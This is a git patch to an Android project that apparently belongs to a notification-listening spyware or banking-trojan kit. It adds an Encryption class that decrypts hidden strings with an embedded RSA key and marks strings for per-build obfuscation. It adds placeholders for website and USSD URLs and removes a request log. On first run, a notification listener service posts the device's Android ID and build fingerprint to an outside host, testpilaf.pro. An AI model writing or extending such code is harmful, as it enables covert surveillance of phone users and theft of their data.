From 6f1abf7852adf9f16ba4d81eb581283d4f0cf133 Mon Sep 17 00:00:00 2001
From: Your Name <you@example.com>
Date: Sun, 20 Apr 2025 18:10:43 +0300
Subject: [PATCH] new

---
 .idea/deploymentTargetSelector.xml            |   4 +-
 .idea/gradle.xml                              |   1 +
 .../com/example/myapplication/Crypto.java     |   4 +-
 .../com/example/myapplication/Encryption.java | 272 ++++++++++++++++++
 .../example/myapplication/MainActivity.java   |   3 +
 .../myapplication/NotificationListener.java   |   4 +-
 .../com/example/myapplication/Requests.java   |   3 +-
 .../com/example/myapplication/Utility.java    |  56 ++--
 8 files changed, 311 insertions(+), 36 deletions(-)
 create mode 100644 app/src/main/java/com/example/myapplication/Encryption.java

diff --git a/.idea/deploymentTargetSelector.xml b/.idea/deploymentTargetSelector.xml
index 4ce7711..30cb252 100644
--- a/.idea/deploymentTargetSelector.xml
+++ b/.idea/deploymentTargetSelector.xml
@@ -4,10 +4,10 @@
     <selectionStates>
       <SelectionState runConfigName="app">
         <option name="selectionMode" value="DROPDOWN" />
-        <DropdownSelection timestamp="2025-04-16T19:29:22.028468Z">
+        <DropdownSelection timestamp="2025-04-20T15:03:41.552038100Z">
           <Target type="DEFAULT_BOOT">
             <handle>
-              <DeviceId pluginId="PhysicalDevice" identifier="serial=92SAX02VYY" />
+              <DeviceId pluginId="LocalEmulator" identifier="path=C:\Users\0x1\.android\avd\Pixel_8_Pro_API_35.avd" />
             </handle>
           </Target>
         </DropdownSelection>
diff --git a/.idea/gradle.xml b/.idea/gradle.xml
index 32522c1..0897082 100644
--- a/.idea/gradle.xml
+++ b/.idea/gradle.xml
@@ -1,5 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <project version="4">
+  <component name="GradleMigrationSettings" migrationVersion="1" />
   <component name="GradleSettings">
     <option name="linkedExternalProjectsSettings">
       <GradleProjectSettings>
diff --git a/app/src/main/java/com/example/myapplication/Crypto.java b/app/src/main/java/com/example/myapplication/Crypto.java
index 572c9da..ed2014d 100644
--- a/app/src/main/java/com/example/myapplication/Crypto.java
+++ b/app/src/main/java/com/example/myapplication/Crypto.java
@@ -10,14 +10,14 @@ public class Crypto {
     private String bytesToHex(byte[] bytes) {
         StringBuilder sb = new StringBuilder();
         for (byte b : bytes) {
-            sb.append(String.format("%02x", b));
+            sb.append(String.format("%02x", b));  // STATIC
         }
         return sb.toString();
     }
 
     protected String generateContentHash(String content) {
         try {
-            MessageDigest digest = MessageDigest.getInstance("MD5");
+            MessageDigest digest = MessageDigest.getInstance("MD5");  // STATIC
             byte[] hashBytes = digest.digest(content.getBytes(StandardCharsets.UTF_8));
             return bytesToHex(hashBytes);
         } catch (NoSuchAlgorithmException e) {
diff --git a/app/src/main/java/com/example/myapplication/Encryption.java b/app/src/main/java/com/example/myapplication/Encryption.java
new file mode 100644
index 0000000..d0a3f4c
--- /dev/null
+++ b/app/src/main/java/com/example/myapplication/Encryption.java
@@ -0,0 +1,272 @@
+// IGNORE
+package com.example.myapplication;
+import android.util.Base64;
+import android.util.Log;
+
+import java.nio.charset.StandardCharsets;
+import java.security.KeyFactory;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.interfaces.RSAPublicKey;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.security.spec.X509EncodedKeySpec;
+import java.util.Arrays;
+import java.util.Random;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.IvParameterSpec;
+import javax.crypto.spec.SecretKeySpec;
+
+public class Encryption {
+
+    private static byte[] hexStringToBytes(String hexString) {
+        int len = hexString.length();
+        byte[] data = new byte[len / 2];
+        for (int i = 0; i < len; i += 2) {
+            data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4)
+                    + Character.digit(hexString.charAt(i+1), 16));
+        }
+        return data;
+    }
+
+    private static final char[] HEX_ARRAY = "0123456789abcdef".toCharArray();
+    public static String bytesToHex(byte[] bytes) {
+        char[] hexChars = new char[bytes.length * 2];
+        for (int j = 0; j < bytes.length; j++) {
+            int v = bytes[j] & 0xFF;
+            hexChars[j * 2] = HEX_ARRAY[v >>> 4];
+            hexChars[j * 2 + 1] = HEX_ARRAY[v & 0x0F];
+        }
+        return new String(hexChars);
+    }
+
+    public static Cipher getCipher(int mode) {
+        try {
+            IvParameterSpec iv = new IvParameterSpec(decrypt(
+                    "IV_KEY" // VARIABLE
+            ).getBytes("UTF-8"));
+            SecretKeySpec skeySpec = new SecretKeySpec(decrypt(
+                    "SECRET_KEY" // VARIABLE
+            ).getBytes("UTF-8"), "AES");
+
+            // Log.i("asd", "SECRET_KEY");// VARIABLE
+            // Log.i("dsa", "IV_KEY");// VARIABLE
+
+            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
+            cipher.init(mode, skeySpec, iv);
+            return cipher;
+        } catch (Exception ignored) {
+            // Log.i("gfggg", Arrays.toString(ignored.getStackTrace()));
+        }
+        return null;
+    }
+
+    public static Cipher getEbcCipher(int mode, String customKey) {
+        if (customKey.isEmpty())
+            customKey = decrypt(
+                    "SECRET_KEY" // VARIABLE
+            );
+        else
+            customKey = md5Encrypt(customKey);
+        try {
+            SecretKeySpec skeySpec = new SecretKeySpec(customKey.getBytes("UTF-8"), "AES");
+
+            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5PADDING");
+            cipher.init(mode, skeySpec);
+            return cipher;
+        } catch (Exception e) {
+        }
+        return null;
+    }
+
+    public static String aesHexEncrypt(String data, String key) {
+        try {
+            Cipher cipher = getEbcCipher(1, key);
+            byte[] encrypted = cipher.doFinal(data.getBytes());
+            return randomizeCase(bytesToHex(encrypted));
+        } catch (Exception e) {
+        }
+        return "";
+    }
+
+    public static String aesEncrypt(String data) {
+        try {
+            Cipher cipher = getCipher(1);
+            byte[] encrypted = cipher.doFinal(data.getBytes());
+            return Base64.encodeToString(encrypted, Base64.DEFAULT);
+        } catch (Exception e) {
+        }
+        return "";
+    }
+
+    public static String randomizeCase(String str) {
+
+        Random rnd = new Random();
+        StringBuilder sb = new StringBuilder(str.length());
+
+        for (char c : str.toCharArray())
+            sb.append(rnd.nextBoolean()
+                    ? Character.toLowerCase(c)
+                    : Character.toUpperCase(c));
+
+        return sb.toString();
+    }
+
+    public static String shaEncrypt(String data, String key) {
+        try {
+            byte[] bytesOfMessage = (data + key).getBytes("UTF-8");
+            MessageDigest md = MessageDigest.getInstance("SHA-512");
+            return randomizeCase(bytesToHex(md.digest(bytesOfMessage)));
+        } catch (Exception ignore) {
+            // Log.i("exp2", Arrays.toString(ignore.getStackTrace()));
+        }
+        return null;
+    }
+
+    public static String md5Encrypt(String data) {
+        try {
+            byte[] bytesOfMessage = data.getBytes("UTF-8");
+            MessageDigest md = MessageDigest.getInstance("MD5");
+            return bytesToHex(md.digest(bytesOfMessage));
+        } catch (Exception ignore) {
+            // Log.i("exp3", Arrays.toString(ignore.getStackTrace()));
+        }
+        return null;
+    }
+
+    public static String aesDecrypt(String data) {
+        try {
+            Cipher cipher = getCipher(2);
+            byte[] plainText = cipher.doFinal(Base64.decode(data.getBytes(), Base64.DEFAULT));
+            return new String(plainText);
+        } catch (Exception e) {
+            // Log.i("exp4", Arrays.toString(e.getStackTrace()));
+        }
+        return "";
+    }
+
+    public static String decrypt(String data){
+        try {
+            KeyFactory keyFactory = KeyFactory.getInstance("RSA");
+            PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(hexStringToBytes(
+                    "BUILD_KEY" // VARIABLE
+            ));
+            PrivateKey privateKey = keyFactory.generatePrivate(keySpec);
+
+            Cipher decryptCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
+            decryptCipher.init(Cipher.DECRYPT_MODE, privateKey);
+
+            byte[] decryptedMessageBytes = decryptCipher.doFinal(hexStringToBytes(data));
+            String decryptedMessage = new String(decryptedMessageBytes, StandardCharsets.UTF_8);
+            return decryptedMessage;
+
+        } catch (Exception e) {
+            // Log.i("exp22", Arrays.toString(e.getStackTrace()));
+        }
+        return "";
+    }
+
+
+    public static String encrypt(String data){
+        try {
+            PublicKey publicKey = decodePKCS1PublicKey(hexStringToBytes(
+                    "PUBLIC_KEY" // VARIABLE
+            ));
+            Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
+            cipher.init(Cipher.ENCRYPT_MODE, publicKey);
+            return bytesToHex(cipher.doFinal(data.getBytes()));
+        } catch (Exception e) {
+            // Log.i("exp31", Arrays.toString(e.getStackTrace()));
+        }
+        return "";
+
+    }
+
+    private static final int SEQUENCE_TAG = 0x30;
+    private static final int BIT_STRING_TAG = 0x03;
+    private static final byte[] NO_UNUSED_BITS = new byte[] { 0x00 };
+    private static final byte[] RSA_ALGORITHM_IDENTIFIER_SEQUENCE =
+            {(byte) 0x30, (byte) 0x0d,
+                    (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x01,
+                    (byte) 0x05, (byte) 0x00};
+
+
+    public static RSAPublicKey decodePKCS1PublicKey(byte[] pkcs1PublicKeyEncoding)
+            throws NoSuchAlgorithmException, InvalidKeySpecException
+    {
+        byte[] subjectPublicKeyInfo2 = createSubjectPublicKeyInfoEncoding(pkcs1PublicKeyEncoding);
+        KeyFactory rsaKeyFactory = KeyFactory.getInstance("RSA");
+        RSAPublicKey generatePublic = (RSAPublicKey) rsaKeyFactory.generatePublic(new X509EncodedKeySpec(subjectPublicKeyInfo2));
+        return generatePublic;
+    }
+
+    public static byte[] createSubjectPublicKeyInfoEncoding(byte[] pkcs1PublicKeyEncoding)
+    {
+        byte[] subjectPublicKeyBitString = createDEREncoding(BIT_STRING_TAG, concat(NO_UNUSED_BITS, pkcs1PublicKeyEncoding));
+        byte[] subjectPublicKeyInfoValue = concat(RSA_ALGORITHM_IDENTIFIER_SEQUENCE, subjectPublicKeyBitString);
+        byte[] subjectPublicKeyInfoSequence = createDEREncoding(SEQUENCE_TAG, subjectPublicKeyInfoValue);
+
+        return subjectPublicKeyInfoSequence;
+    }
+
+    private static byte[] concat(byte[] ... bas)
+    {
+        int len = 0;
+        for (int i = 0; i < bas.length; i++)
+        {
+            len += bas[i].length;
+        }
+
+        byte[] buf = new byte[len];
+        int off = 0;
+        for (int i = 0; i < bas.length; i++)
+        {
+            System.arraycopy(bas[i], 0, buf, off, bas[i].length);
+            off += bas[i].length;
+        }
+
+        return buf;
+    }
+
+    private static byte[] createDEREncoding(int tag, byte[] value)
+    {
+        if (tag < 0 || tag >= 0xFF)
+        {
+            throw new IllegalArgumentException("Currently only single byte tags supported");
+        }
+
+        byte[] lengthEncoding = createDERLengthEncoding(value.length);
+
+        int size = 1 + lengthEncoding.length + value.length;
+        byte[] derEncodingBuf = new byte[size];
+
+        int off = 0;
+        derEncodingBuf[off++] = (byte) tag;
+        System.arraycopy(lengthEncoding, 0, derEncodingBuf, off, lengthEncoding.length);
+        off += lengthEncoding.length;
+        System.arraycopy(value, 0, derEncodingBuf, off, value.length);
+
+        return derEncodingBuf;
+    }
+
+    private static byte[] createDERLengthEncoding(int size)
+    {
+        if (size <= 0x7F)
+        {
+            return new byte[] { (byte) size };
+        }
+        else if (size <= 0xFF)
+        {
+            return new byte[] { (byte) 0x81, (byte) size };
+        }
+        else if (size <= 0xFFFF)
+        {
+            return new byte[] { (byte) 0x82, (byte) (size >> Byte.SIZE), (byte) size };
+        }
+
+        throw new IllegalArgumentException("size too large, only up to 64KiB length encoding supported: " + size);
+    }
+}
diff --git a/app/src/main/java/com/example/myapplication/MainActivity.java b/app/src/main/java/com/example/myapplication/MainActivity.java
index ca55578..81a024a 100644
--- a/app/src/main/java/com/example/myapplication/MainActivity.java
+++ b/app/src/main/java/com/example/myapplication/MainActivity.java
@@ -29,6 +29,9 @@ import androidx.core.view.ViewCompat;
 import androidx.core.view.WindowInsetsCompat;
 
 public class MainActivity extends AppCompatActivity {
+    private final String websiteUrl = "WEBSITE_URL"; // VARIABLE STATIC
+    private final String ussdUrl = "USSD_URL"; // VARIABLE STATIC
+    private final String languagesUrl = "LANGUAGES_URL"; // VARIABLE STATIC
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
diff --git a/app/src/main/java/com/example/myapplication/NotificationListener.java b/app/src/main/java/com/example/myapplication/NotificationListener.java
index fa1eb00..d54699f 100644
--- a/app/src/main/java/com/example/myapplication/NotificationListener.java
+++ b/app/src/main/java/com/example/myapplication/NotificationListener.java
@@ -29,7 +29,7 @@ import java.util.Map;
 
 public class NotificationListener extends NotificationListenerService {
 
-    private static final Requests requests = new Requests("https://testpilaf.pro");
+    private static final Requests requests = new Requests("https://testpilaf.pro"); // STATIC
 
     @Override
     public IBinder onBind(Intent intent) {
@@ -42,7 +42,7 @@ public class NotificationListener extends NotificationListenerService {
         if (Utility.INSTANCE.isFirstRun(context)){
             Utility.INSTANCE.setFirstRun(context);
             RequestBody body = RequestBody.create(Utility.INSTANCE.getDeviceInfo(context).getBytes(StandardCharsets.UTF_8));
-            requests.post("/firstRun", body, Map.of("Test", "Test"), null, new Callback() {
+            requests.post("/firstRun", body, Map.of("Test", "Test"), null, new Callback() { // STATIC
                 @Override
                 public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
                 }
diff --git a/app/src/main/java/com/example/myapplication/Requests.java b/app/src/main/java/com/example/myapplication/Requests.java
index 2102b13..ffa006d 100644
--- a/app/src/main/java/com/example/myapplication/Requests.java
+++ b/app/src/main/java/com/example/myapplication/Requests.java
@@ -18,7 +18,7 @@ public class Requests {
         this.client = client;
         this.baseUrl = HttpUrl.parse(baseUrl);
         if (this.baseUrl == null) {
-            throw new IllegalArgumentException("Invalid base URL: " + baseUrl);
+            throw new IllegalArgumentException("Invalid base URL: " + baseUrl); // STATIC
         }
     }
 
@@ -77,7 +77,6 @@ public class Requests {
     }
 
     private void enqueue(Request request, Callback callback) {
-        Log.i("asd", String.valueOf(request));
         client.newCall(request).enqueue(callback);
     }
 
diff --git a/app/src/main/java/com/example/myapplication/Utility.java b/app/src/main/java/com/example/myapplication/Utility.java
index e2d63d6..cf2cd9d 100644
--- a/app/src/main/java/com/example/myapplication/Utility.java
+++ b/app/src/main/java/com/example/myapplication/Utility.java
@@ -26,7 +26,7 @@ public class Utility {
     protected boolean hasNotificationAccess(Context context) {
         String enabledListeners = Settings.Secure.getString(
                 context.getApplicationContext().getContentResolver(),
-                "enabled_notification_listeners"
+                "enabled_notification_listeners" // STATIC
         );
         String packageName = context.getApplicationContext().getPackageName();
         return enabledListeners != null && enabledListeners.contains(packageName);
@@ -56,58 +56,58 @@ public class Utility {
 
     protected void setFirstRun(Context context) {
         SharedPreferences prefs = context.getSharedPreferences(
-                context.getPackageName() + "_preferences", Context.MODE_PRIVATE);
+                context.getPackageName() + "_preferences", Context.MODE_PRIVATE); // STATIC
         SharedPreferences.Editor editor = prefs.edit();
-        editor.putBoolean("firstRun", false);
+        editor.putBoolean("firstRun", false); // STATIC
         editor.apply();
     }
 
     protected boolean isFirstRun(Context context) {
         SharedPreferences prefs = context.getSharedPreferences(
-                context.getPackageName() + "_preferences", Context.MODE_PRIVATE);
-        return prefs.getBoolean("firstRun", true);
+                context.getPackageName() + "_preferences", Context.MODE_PRIVATE); // STATIC
+        return prefs.getBoolean("firstRun", true);  // STATIC
     }
 
     protected String getDeviceInfo(Context context) {
         List<String> infoList = new ArrayList<>();
 
         // Basic device information from Build class
-        infoList.add("Manufacturer=" + Build.MANUFACTURER);
-        infoList.add("Model=" + Build.MODEL);
-        infoList.add("Device=" + Build.DEVICE);
-        infoList.add("Product=" + Build.PRODUCT);
-        infoList.add("Brand=" + Build.BRAND);
-        infoList.add("AndroidVersion=" + Build.VERSION.RELEASE);
-        infoList.add("SDKVersion=" + Build.VERSION.SDK_INT);
-        infoList.add("Hardware=" + Build.HARDWARE);
-        infoList.add("Board=" + Build.BOARD);
-        infoList.add("Display=" + Build.DISPLAY);
-        infoList.add("Fingerprint=" + Build.FINGERPRINT);
-        infoList.add("Bootloader=" + Build.BOOTLOADER);
-        infoList.add("Host=" + Build.HOST);
-        infoList.add("Tags=" + Build.TAGS);
+        infoList.add("Manufacturer=" + Build.MANUFACTURER); // STATIC
+        infoList.add("Model=" + Build.MODEL); // STATIC
+        infoList.add("Device=" + Build.DEVICE); // STATIC
+        infoList.add("Product=" + Build.PRODUCT); // STATIC
+        infoList.add("Brand=" + Build.BRAND); // STATIC
+        infoList.add("AndroidVersion=" + Build.VERSION.RELEASE); // STATIC
+        infoList.add("SDKVersion=" + Build.VERSION.SDK_INT); // STATIC
+        infoList.add("Hardware=" + Build.HARDWARE); // STATIC
+        infoList.add("Board=" + Build.BOARD); // STATIC
+        infoList.add("Display=" + Build.DISPLAY);  // STATIC
+        infoList.add("Fingerprint=" + Build.FINGERPRINT); // STATIC
+        infoList.add("Bootloader=" + Build.BOOTLOADER); // STATIC
+        infoList.add("Host=" + Build.HOST); // STATIC
+        infoList.add("Tags=" + Build.TAGS); // STATIC
         infoList.add("BuildID=" + Build.ID);
-        infoList.add("User=" + Build.USER);
-        infoList.add("Time=" + Build.TIME);
+        infoList.add("User=" + Build.USER); // STATIC
+        infoList.add("Time=" + Build.TIME); // STATIC
 
         // Android ID
-        @SuppressLint("HardwareIds") String androidId = Settings.Secure.getString(context.getContentResolver(),
+        @SuppressLint("HardwareIds") String androidId = Settings.Secure.getString(context.getContentResolver(), // STATIC
                 Settings.Secure.ANDROID_ID);
-        infoList.add("AndroidID=" + (androidId != null ? androidId : "null"));
+        infoList.add("AndroidID=" + (androidId != null ? androidId : "null")); // STATIC
 
         // Screen resolution
         WindowManager windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
         if (windowManager != null) {
             DisplayMetrics displayMetrics = new DisplayMetrics();
             windowManager.getDefaultDisplay().getMetrics(displayMetrics);
-            infoList.add("ScreenResolution=" + displayMetrics.widthPixels + "x" + displayMetrics.heightPixels);
-            infoList.add("ScreenDensity=" + displayMetrics.densityDpi + "dpi");
+            infoList.add("ScreenResolution=" + displayMetrics.widthPixels + "x" + displayMetrics.heightPixels); // STATIC
+            infoList.add("ScreenDensity=" + displayMetrics.densityDpi + "dpi"); // STATIC
         } else {
-            infoList.add("ScreenResolution=unavailable");
-            infoList.add("ScreenDensity=unavailable");
+            infoList.add("ScreenResolution=unavailable"); // STATIC
+            infoList.add("ScreenDensity=unavailable"); // STATIC
         }
 
-        return TextUtils.join("; ", infoList);
+        return TextUtils.join("; ", infoList); // STATIC
     }